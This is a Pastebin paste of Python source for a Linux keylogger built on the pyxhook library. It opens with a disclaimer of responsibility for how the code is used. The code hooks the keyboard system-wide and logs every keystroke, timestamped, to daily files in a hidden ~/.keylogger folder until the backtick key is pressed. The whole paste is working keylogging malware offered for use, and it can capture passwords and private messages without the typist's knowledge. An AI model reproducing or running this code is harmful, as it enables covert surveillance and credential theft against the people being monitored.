usersubmarine

[PYTHON] KEYLOGGER [USERSUBMARINE]

Jun 28th, 2017
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.44 KB | None | 0 0
  1.  
  2.  
  3. # I DO NOT TAKE ANY RESPONSIBILITY ABOUT THE THING THE YOU ARE GOING TO DO WITH THIS CODE
  4.  
  5. import pyxhook
  6. import os
  7. from subprocess import call
  8. from time import *
  9.  
  10. #checks if program is starting up for first time
  11. startup = 1
  12. #home folder of user
  13. homefolder = os.environ['HOME']
  14.  
  15. #path where logs are stored
  16. filepath = homefolder + '/.keylogger/'
  17.  
  18. #creates log folder if it doesn't exist yet
  19. if os.path.isdir(filepath) == False:
  20.     call(['mkdir', filepath])
  21.  
  22. #file to put logs
  23. #has timestamp which also creates a new file the next day
  24. log_file = filepath + strftime("%d:%m:%Y") + '.log'
  25.  
  26. #used to see if caps is on so we can put a <CAPS> and </CAPS> tag
  27. caps = 0
  28.  
  29. def OnKeyPress(event):
  30.  
  31.   fob=open(log_file, 'a')
  32.  
  33.   global caps
  34.   global startup
  35.  
  36.   #checks if startup
  37.   if startup == 1:
  38.     fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
  39.     startup = 0
  40.  
  41.   #Newline if enter is pushed
  42.   if event.Key == 'Return':
  43.     fob.write('\n')
  44.     fob.write(strftime("%H:%M:%S: "))
  45.  
  46.   #I'm sorry for this blatant DRY (Don't repeat yourself) violation
  47.   #Makes exceptions for special characters
  48.   elif event.Key == 'space':
  49.     fob.write(' ')
  50.  
  51.   elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
  52.     fob.write(' ' + event.Key + ' ')
  53.  
  54.   elif event.Key == 'Caps_Lock':
  55.  
  56.     if caps == 0:
  57.         fob.write(' <CAPS> ')
  58.         caps = 1
  59.  
  60.     else:
  61.         fob.write(' </CAPS> ')
  62.         caps = 0
  63.  
  64.   elif event.Key == 'exclam':
  65.     fob.write('!')
  66.  
  67.   elif event.Key == 'BackSpace':
  68.     fob.write('')
  69.  
  70.   elif event.Key == 'at':
  71.     fob.write('@')
  72.  
  73.   elif event.Key == 'numbersign':
  74.     fob.write('#')
  75.  
  76.   elif event.Key == 'dollar':
  77.     fob.write('$')
  78.  
  79.   elif event.Key == 'percent':
  80.     fob.write('%')
  81.  
  82.   elif event.Key == 'asciicircum':
  83.     fob.write('^')
  84.  
  85.   elif event.Key == 'ampersand':
  86.     fob.write('&')
  87.  
  88.   elif event.Key == 'asterisk':
  89.     fob.write('*')
  90.  
  91.   elif event.Key == 'parenleft':
  92.     fob.write('(')
  93.  
  94.   elif event.Key == 'parenright':
  95.     fob.write(')')
  96.  
  97.   elif event.Key == 'underscore':
  98.     fob.write('_')
  99.  
  100.   elif event.Key == 'minus':
  101.     fob.write('-')
  102.  
  103.   elif event.Key == 'equal':
  104.     fob.write('=')
  105.  
  106.   elif event.Key == 'plus':
  107.     fob.write('+')
  108.  
  109.   elif event.Key == 'backslash':
  110.     fob.write('\\')
  111.  
  112.   elif event.Key == 'bar':
  113.     fob.write('|')
  114.  
  115.   elif event.Key == 'bracketright':
  116.     fob.write(']')
  117.  
  118.   elif event.Key == 'bracketleft':
  119.     fob.write('[')
  120.  
  121.   elif event.Key == 'braceright':
  122.     fob.write('}')
  123.  
  124.   elif event.Key == 'braceleft':
  125.     fob.write('{')
  126.  
  127.   elif event.Key == 'apostrophe':
  128.     fob.write('\'')
  129.  
  130.   elif event.Key == 'quotedbl':
  131.     fob.write('"')
  132.  
  133.   elif event.Key == 'semicolon':
  134.     fob.write(';')
  135.  
  136.   elif event.Key == 'colon':
  137.     fob.write(':')
  138.  
  139.   elif event.Key == 'slash':
  140.     fob.write('/')
  141.  
  142.   elif event.Key == 'question':
  143.     fob.write('?')
  144.  
  145.   elif event.Key == 'period':
  146.     fob.write('.')
  147.  
  148.   elif event.Key == 'greater':
  149.     fob.write('>')
  150.  
  151.   elif event.Key == 'comma':
  152.     fob.write(',')
  153.  
  154.   elif event.Key == 'less':
  155.     fob.write('<')
  156.  
  157.   elif event.Key == 'asciitilede':
  158.     fob.write('~')
  159.  
  160.   else:
  161.     fob.write(event.Key)
  162.  
  163.   #96 is this character: `
  164.   if event.Ascii==96:
  165.     fob.write('\n')
  166.     fob.close()
  167.     new_hook.cancel()
  168.  
  169. #prepares hook
  170. new_hook=pyxhook.HookManager()
  171. new_hook.KeyDown=OnKeyPress
  172. new_hook.HookKeyboard()
  173. new_hook.start()
Add Comment
Please, Sign In to add comment